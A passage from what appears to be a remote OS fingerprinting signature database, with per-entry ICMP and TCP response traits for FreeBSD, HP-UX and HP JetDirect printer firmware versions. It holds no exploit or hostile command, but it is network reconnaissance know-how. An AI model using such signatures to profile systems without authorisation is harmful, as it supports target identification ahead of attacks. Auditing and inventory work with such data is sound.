#Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 3.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 3.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 2.2.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 2.2.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } #HP fingerprint { OS_ID = "HP UX 11.0x" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32768 tcp_syn_ack_options_order = "MSS NOP NOP SACK WSCALE NOP NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "HP UX 11.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 1 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32768 tcp_syn_ack_options_order = "MSS NOP NOP SACK WSCALE NOP NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "HP JetDirect ROM A.03.17 EEPROM A.04.09" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM A.05.03 EEPROM A.05.05" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM F.08.01 EEPROM F.08.05" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM F.08.08 EEPROM F.08.05" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM F.08.08 EEPROM F.08.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.05.34 EEPROM G.05.35" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.06.00 EEPROM G.06.00" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.02 EEPROM G.07.17" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.02 EEPROM G.07.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 